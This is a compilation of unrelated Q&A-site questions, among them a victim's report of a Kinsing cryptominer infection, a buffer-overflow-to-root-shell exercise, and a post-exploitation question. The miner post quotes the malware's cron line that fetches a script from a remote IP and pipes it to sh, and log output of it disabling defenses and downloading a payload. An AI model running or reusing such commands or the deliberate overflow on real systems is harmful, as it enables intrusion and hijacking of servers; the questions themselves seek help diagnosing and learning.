## How do I join getting one row from the left table, no matter how many matches i get from the right table?

I have two tables – one is a data table and the other is a mapping table. I want to join them together, but only preserve the data from the right table. However, it is possible that the match table may contains multiple records that match to a single record in the right table. I cannot use a DISTINCT because there may be identical rows in the right table, and I want to preserve the same number of rows from the right-table in the result set.

Here is a sample of the data I am working with:

       DataTable                           MappingTable +-----+-----+-----+-----+           +------+------+------+------+ | ID1 | ID2 | ID3 | ID1 |           | ID1  | ID2  | ID3  | ID1  | +-----+-----+-----+-----+           +------+------+------+------+ |  1  |  1  |  1  |  1  |           |  1   | NULL | NULL | NULL | |  1  |  1  |  1  |  1  |           | NULL | NULL | NULL |  1   | |  2  |  1  |  1  |  1  |           |  3   |  3   | NULL | NULL | |  3  |  1  |  1  |  3  |           +------+------+------+------+ |  4  |  1  |  1  |  4  | |  2  |  2  |  1  |  1  | |  3  |  2  |  1  |  3  | |  3  |  3  |  1  |  3  | |  2  |  1  |  0  |  1  | |  2  |  1  |  0  |  1  | |  4  |  3  |  2  |  3  | +-----+-----+-----+-----+ 

Below is the join I am using. I wrote a custom function to handle the NULL-matching behavior, which I am including here as well.

SELECT * FROM DataTable P JOIN MappingTable M ON dbo.fNullMatchCheckIntS(P.ID1,M.ID1,0,1) = 1     AND dbo.fNullMatchCheckIntS(P.ID2,M.ID2,0,1) = 1     AND dbo.fNullMatchCheckIntS(P.ID3,M.ID3,0,1) = 1     AND dbo.fNullMatchCheckIntS(P.ID4,M.ID4,0,1) = 1 

CREATE FUNCTION dbo.fNullMatchCheckIntS (     @Value1 INT     ,@Value2 INT     ,@AutoMatchIfValue1IsNull BIT     ,@AutoMatchIfValue2IsNull BIT )     RETURNS BIT AS  BEGIN      DECLARE @Result BIT = 0      SELECT         @AutoMatchIfValue1IsNull = ISNULL(@AutoMatchIfValue1IsNull,0)         ,@AutoMatchIfValue2IsNull = ISNULL(@AutoMatchIfValue2IsNull,0)      IF         (@AutoMatchIfValue1IsNull = 1 AND @Value1 IS NULL)         OR (@AutoMatchIfValue2IsNull = 1 AND @Value2 IS NULL)         OR @Value1 = @Value2         OR (@Value1 IS NULL AND @Value2 IS NULL)     BEGIN         SET @Result = 1     END      RETURN @Result END 

The problem with the way the join works is that the first two rows in the DataTable match on the first two rows in the MappingTable, giving me four identical records in the result, but I only want 2. I know that I could add an identity column to the DataTable and then use DISTINCT or PARTITION to get the result I am looking for, but I would like to avoid that route if possible.

EDIT: I figured out a way to do this using EXISTS, but it looks a little ugly in my opinion. Still interested in other answers if anyone has an idea. Thanks!

SELECT * FROM DataTable D WHERE EXISTS (     SELECT D.ID1, D.ID2, D.ID3, D.ID4     FROM MappingTable M      WHERE dbo.fNullMatchCheckIntS(D.ID1,M.ID1,0,1) = 1         AND dbo.fNullMatchCheckIntS(D.ID2,M.ID2,0,1) = 1         AND dbo.fNullMatchCheckIntS(D.ID3,M.ID3,0,1) = 1         AND dbo.fNullMatchCheckIntS(D.ID4,M.ID4,0,1) = 1 ) 

## How closely can I copy a game without getting in trouble? [duplicate]

• How closely can a game legally resemble another? 11 answers

I’m making a clone game of Zelda, my favorite franchise, and am wondering if what I’m doing will still earn me a cease order.

Obviously I’m not using any of the names from the original series, and my game allows character creation with clothing that will allow you to look slightly like Link if you unlock it. With the skin name being something like “Woodland warrior shirt/hat/boots.

I’m also copying the UI for links awakening pretty closely and the way dungeons look is about the same.

However, I’m making all my own textures/assets from scratch.

Will I be allowed to release this game, with the title “Legend of Dungeons …”?

Main concerns are: similar UI, Font, Some skins resemble characters slightly, and textures, even though they’re all made by my hand?

## A bitcoin miner is getting install on my web server with the apache2 process

For a few weeks, someone, probably a bot keep installing a bitcoin miner on my server, I find it because it is taking all the CPU. The process name is kdevtmpfsi located at /tmp/kdevtmpfsi, there’s watch dog process kinsing located at /var/tmp/kinsing and a cronjob:

* * * * * wget -q -O - http://195.3.146.118/ex.sh | sh > /dev/null 2>&1 

I keep removing the trace above, but the attacking keep re-injecting, using the same exploit which must be tie to the apache2 process because here’s what I find in my apache2 error log:

  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current                                  Dload  Upload   Total   Spent    Left  Speed    0     0    0     0    0     0      0      0 --:--:-- --:--:-- --:--:--     0sh: 2: ulimit: error setting limit (Operation not permitted) rm: cannot remove '/var/log/syslog': Permission denied  100 27434  100 27434    0     0  4465k      0 --:--:-- --:--:-- --:--:-- 4465k chattr: Permission denied while setting flags on /tmp/ chattr: Permission denied while setting flags on /var/tmp/ ERROR: You need to be root to run this script iptables v1.6.1: can't initialize iptables table filter': Permission denied (you must be root) Perhaps iptables or your kernel needs to be upgraded. sudo: no tty present and no askpass program specified sh: 10: cannot create /proc/sys/kernel/nmi_watchdog: Permission denied sh: 11: cannot create /etc/sysctl.conf: Permission denied userdel: user 'akay' does not exist userdel: user 'vfinder' does not exist chattr: Permission denied while trying to stat /root/.ssh/ chattr: Permission denied while trying to stat /root/.ssh/authorized_keys (Not all processes could be identified, non-owned process info  will not be shown, you would have to be root to see it all.) (Not all processes could be identified, non-owned process info  will not be shown, you would have to be root to see it all.) (Not all processes could be identified, non-owned process info  will not be shown, you would have to be root to see it all.) (Not all processes could be identified, non-owned process info  will not be shown, you would have to be root to see it all.) (Not all processes could be identified, non-owned process info  will not be shown, you would have to be root to see it all.) (Not all processes could be identified, non-owned process info  will not be shown, you would have to be root to see it all.) (Not all processes could be identified, non-owned process info  will not be shown, you would have to be root to see it all.) (Not all processes could be identified, non-owned process info  will not be shown, you would have to be root to see it all.) (Not all processes could be identified, non-owned process info  will not be shown, you would have to be root to see it all.) (Not all processes could be identified, non-owned process info  will not be shown, you would have to be root to see it all.) (Not all processes could be identified, non-owned process info  will not be shown, you would have to be root to see it all.) (Not all processes could be identified, non-owned process info  will not be shown, you would have to be root to see it all.) (Not all processes could be identified, non-owned process info  will not be shown, you would have to be root to see it all.) (Not all processes could be identified, non-owned process info  will not be shown, you would have to be root to see it all.) (Not all processes could be identified, non-owned process info  will not be shown, you would have to be root to see it all.) (Not all processes could be identified, non-owned process info  will not be shown, you would have to be root to see it all.) (Not all processes could be identified, non-owned process info  will not be shown, you would have to be root to see it all.) (Not all processes could be identified, non-owned process info  will not be shown, you would have to be root to see it all.) (Not all processes could be identified, non-owned process info  will not be shown, you would have to be root to see it all.) (Not all processes could be identified, non-owned process info  will not be shown, you would have to be root to see it all.) grep: Trailing backslash grep: write error: Broken pipe kill: (56): Operation not permitted kill: (25879): No such process kill: (25886): No such process (Not all processes could be identified, non-owned process info  will not be shown, you would have to be root to see it all.) (Not all processes could be identified, non-owned process info  will not be shown, you would have to be root to see it all.) pkill: killing pid 807 failed: Operation not permitted pkill: killing pid 836 failed: Operation not permitted pkill: killing pid 836 failed: Operation not permitted log_rot: no process found chattr: No such file or directory while trying to stat /etc/ld.so.preload rm: cannot remove '/opt/atlassian/confluence/bin/1.sh': No such file or directory rm: cannot remove '/opt/atlassian/confluence/bin/1.sh.1': No such file or directory rm: cannot remove '/opt/atlassian/confluence/bin/1.sh.2': No such file or directory rm: cannot remove '/opt/atlassian/confluence/bin/1.sh.3': No such file or directory rm: cannot remove '/opt/atlassian/confluence/bin/3.sh': No such file or directory rm: cannot remove '/opt/atlassian/confluence/bin/3.sh.1': No such file or directory rm: cannot remove '/opt/atlassian/confluence/bin/3.sh.2': No such file or directory rm: cannot remove '/opt/atlassian/confluence/bin/3.sh.3': No such file or directory rm: cannot remove '/var/tmp/lib': No such file or directory rm: cannot remove '/var/tmp/.lib': No such file or directory chattr: No such file or directory while trying to stat /tmp/lok chmod: cannot access '/tmp/lok': No such file or directory sh: 477: docker: not found sh: 478: docker: not found sh: 479: docker: not found sh: 480: docker: not found sh: 481: docker: not found sh: 482: docker: not found sh: 483: docker: not found sh: 484: docker: not found sh: 485: docker: not found sh: 486: docker: not found sh: 487: docker: not found sh: 488: docker: not found sh: 489: docker: not found sh: 490: docker: not found sh: 491: docker: not found sh: 492: docker: not found sh: 493: docker: not found sh: 494: docker: not found sh: 495: docker: not found sh: 496: docker: not found sh: 497: docker: not found sh: 498: docker: not found sh: 499: setenforce: not found sh: 500: cannot create /etc/selinux/config: Permission denied Failed to stop apparmor.service: Interactive authentication required. See system logs and 'systemctl status apparmor.service' for details. Synchronizing state of apparmor.service with SysV service script with /lib/systemd/systemd-sysv-install. Executing: /lib/systemd/systemd-sysv-install disable apparmor Failed to reload daemon: Interactive authentication required. update-rc.d: error: Permission denied Failed to stop aliyun.service.service: Interactive authentication required. See system logs and 'systemctl status aliyun.service.service' for details. Failed to disable unit: Interactive authentication required. sh: echo: I/O error md5sum: /var/tmp/kinsing: No such file or directory sh: echo: I/O error sh: echo: I/O error --2020-01-10 19:03:30--  https://bitbucket.org/kondrongo12/git/raw/master/kinsing Resolving bitbucket.org (bitbucket.org)... 18.205.93.2, 18.205.93.1, 18.205.93.0, ... Connecting to bitbucket.org (bitbucket.org)|18.205.93.2|:443... connected. HTTP request sent, awaiting response... 200 OK Length: 17072128 (16M) [application/octet-stream] Saving to: '/var/tmp/kinsing'       0K .......... .......... .......... .......... ..........  0% 1.54M 11s     50K .......... .......... .......... .......... ..........  0% 3.62M 7s    100K .......... .......... .......... .......... ..........  0% 5.97M 6s    150K .......... .......... .......... .......... ..........  1% 7.92M 5s  16500K .......... .......... .......... .......... .......... 99% 11.5M 0s  16550K .......... .......... .......... .......... .......... 99% 9.01M 0s  16600K .......... .......... .......... .......... .......... 99% 11.3M 0s  16650K .......... .......... ..                              100% 28.2M=1.5s  2020-01-10 19:03:31 (10.8 MB/s) - '/var/tmp/kinsing' saved [17072128/17072128]  sh: echo: I/O error sh: echo: I/O error

This is in apache2 main error log file (/var/log/apache2/error.log) and no in my website error log so I am thinking that it is not related to my php code, what should I do/check next?

## Party Paladin sold his soul to an evil goddess. Is he getting a new template character now? (ie: dreadlord, blackguard, etc)

A pc died, and in an atempt to have his life spared, my group’s paladin decided to offer his soul after he had a talk with the spiritual form of Lolth. Lolth decided to bargain for a trade of his friend’s life back to normal in exchange for paladin’s soul. I don’t want to just make him go “evil” but I want to offer to him some form of template, much how a pc turns into vampire for example and gets extra new stuff from the vampire template.

I want ideas/assistance on giving him this “epic” template as a reward for this player’s bravery and selfless act of sacrifice.

## Structure for getting $| \{ a,b \} \in S : a+b \le d|$ in O(1)

I am struggling with exercise from the old algorithmic exam:
$$d$$ is const for the whole structure. Propose a structure for which you can do:

• Init(S) //called only 1 time
• Insert(x, S):: $$S := S \cup \{x\}$$ in O(log(|S|)
• Delete(x, S):: $$S := S \setminus \{x\}$$ in O(log(|S|)
• Get(S) = $$| \{ a,b \} \subset S : a+b \le d|$$ in O(1)

I am trying to that with AVL Tree with additional members like number of nodes such that $$v.value+u.value \le d$$.
Could somebody give me some hint?

## I keep getting this notification from Bitdefender: chrome.exe attempted establish a connection relying on an expired certificate to logs.gettoby.com

Every two fucking minutes I get four notifications like this and it has been going on for two days. It’s driving me mad. Can anyone help me get rid of this? I don’t even own Toby, I didn’t even know what it was until this.

I also get a lot of this: chrome.exe attempted to establish a connection relying on an expired certificate to www.nottfo.com. We blocked the connection to keep your data safe since web pages must renew their certificates with a certification authority to stay current, and outdated security certificates represent a risk.

What even is Nottfo?

## Why i am not getting root privilege with this way?

#include <stdio.h> #include <stdlib.h> #include <sys/types.h> #include <unistd.h>  void shell() {     setreuid(geteuid(), geteuid());     system("/bin/bash");     }  void sup() { printf("Hey dude ! Waaaaazzaaaaaaaa ?!\n");    }  void main() {  int var; void (*func)()=sup; char buf[128]; fgets(buf,133,stdin); func(); } 

In this code if I change the eip register to the address of shell at the point when my execution is at ret with gdb.Then instead of getting root i get same shell as it was before(user).

But if I instead try to buffer overflow and change the address of func to the address of shell` then I get the root privileged shell.

Can anyone please explain why I am not getting the root shell in first case?

## Why would I be getting a Security Update and no-one else in my organization does?

i received an alert requesting I turn over control of my phone when trying to access my email but when I ask around I am not finding anyone else who received this alert. Why would this be?

Thanks

## Getting rid of negative-cost edges in min-cost max-flow algorithmically

I have a min-cost max-flow problem. The designed network (without cycles) gives correct results using cycle cancelling, but it is way too slow. I would like to get rid of negative edges so that I can use successive shortest path.

Is there a universal way how to transform a flow network without cycles?

## What to do after getting a reverse shell?

So imagine that I have acquired a reverse shell and have a terminal with full root access. I know I can do anything, but what should I do? What’s the next step?